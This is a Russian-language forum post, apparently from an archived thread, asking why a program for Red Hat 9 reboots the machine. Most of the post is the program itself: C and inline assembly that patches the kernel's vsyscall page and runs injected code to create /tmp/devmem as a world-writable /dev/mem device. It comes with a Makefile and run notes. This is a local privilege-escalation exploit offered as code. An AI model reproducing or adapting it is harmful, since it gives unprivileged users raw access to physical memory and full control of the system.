Имеется одна программа для RH9.0.
Делает /tmp/devmem с правами доступа 0777 (block 0101 == /dev/mem).
Проблема в том, что при этом она уходит в reboot (/tmp/devmem после перезагрузки остается, но суть не в этом). Вопрос собственно почему уходим в reboot?
P.S. Если вдруг кто запускать будет: учтите, что нужен 1 Гиг свободной виртуальной памяти или же overcommit_memory=1, иначе кина не будет (скорее всего это требование обязательно для того, чтобы не покрэшить ядро, а суметь получить что-то более полезное -- из-за того, что ядро проецирует ОЗУ на kvm через PSE страницы и само же не понимает их).
Вот собственно программа и Makefile:
#define __KERNEL__
#include <asm/pgtable.h>
#include <asm/errno.h>
extern int errno;
char mystack[4096];
char tmpmemstr[] = "/tmp/devmem";
asm (" .align 4096
.globl expcode
expcode:
pushal
movl $0, %ebx
movl $60, %eax
int $0x80
movl $0xfffff000, %ebx
copy:
subl $4, %ebx
pushl (%ebx)
cmpl $0xffffef00, %ebx
jne copy
movl %esp, %ebx
movl $020777, %ecx
movl $0x0101, %edx
movl $14, %eax
int $0x80
addl $0x100, %esp
popal
exit:
int $0x80
ret
.globl expcode_end
expcode_end:
");
extern unsigned char expcode, expcode_end;
void do_main (long esp) {
unsigned char *trampoline;
unsigned char volatile dummy;
unsigned int i;
trampoline = __fix_to_virt (FIX_VSYSCALL);
if (trampoline != 0xffffe000) {
printf ("weird... but you still can try patching the asm code accordingly ;)\n");
exit (0);
}
munmap (esp & ~(4096 - 1), 0xc0000000 - (esp & ~(4096 - 1)));
brk (0xfffff000);
printf ("probing write @ %p\n", trampoline); sleep (1);
*trampoline = 0xcd;
*(trampoline+1) = 0x80;
*(trampoline+2) = 0xc3;
*(long*)(trampoline+3) = 0;
printf ("probing read @ %p\n", trampoline); sleep (1);
dummy = *trampoline;
printf ("copying string %p->%p\n", tmpmemstr, trampoline+0xf00); sleep (1);
for (i=0; tmpmemstr[i]; i++) {
trampoline[0xf00+i] = tmpmemstr[i];
printf ("%x\n", i);
}
trampoline[0xf00+i] = 0;
printf ("copying hook ->%p\n", trampoline); sleep (1);
for (i=(unsigned int)&expcode; i<(&expcode_end+1); i++) {
trampoline[i-(unsigned int)&expcode] = *(unsigned char *)i;
}
printf ("done\n"); sleep (1);
do {
access (tmpmemstr, 3);
} while (errno == ENOENT);
*(unsigned int *)trampoline = 0x00c380cd;
*((unsigned int *)trampoline+1) = 0x00000000;
if (errno != 0)
perror ("bad luck");
else
printf ("everything seems fine...\n");
for (;;) pause (); // Don't burn the CPU :)
}
int main () {
register long esp asm ("esp");
register long oldesp = esp;
esp = mystack+4096;
do_main(oldesp);
return 0;
}
all:
gcc -static -g -I/lib/modules/`uname -r`/build/include -Wl,-Tdata,0xbfff0000 exp.c -o exp

Ответ на:
комментарий
от sS
Ответ на:
комментарий
от Murr
Ответ на:
комментарий
от idle
Ответ на:
Re:
от Murr
Ответ на:
Re:
от Murr
Ответ на:
Re:
от Murr
Ответ на:
комментарий
от idle
Ответ на:
Re:
от Murr
Ответ на:
Re:
от Murr
Ответ на:
Re:
от Murr
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.
Похожие темы
- Форум [assembler] А как узнать адрес последнего элемента в списке? (2009)
- Форум [asm][c]Содержимое регистра cs (2011)
- Форум Оптимизатор GCC 4.4 (2009)
- Форум Как перезапускать программу в случае ее неудачного запуска. (2015)
- Форум Чтение выхлопа процесса без ожидания его завершения (2019)
- Форум Вентилятор i8k убивается чем-то (2015)
- Форум Трабл с модулем (2005)
- Форум стек. перезапись адреса возврата (2006)
- Форум ptrace (2008)
- Форум [ЖЖ] видео с youtube'а снова в /tmp (2011)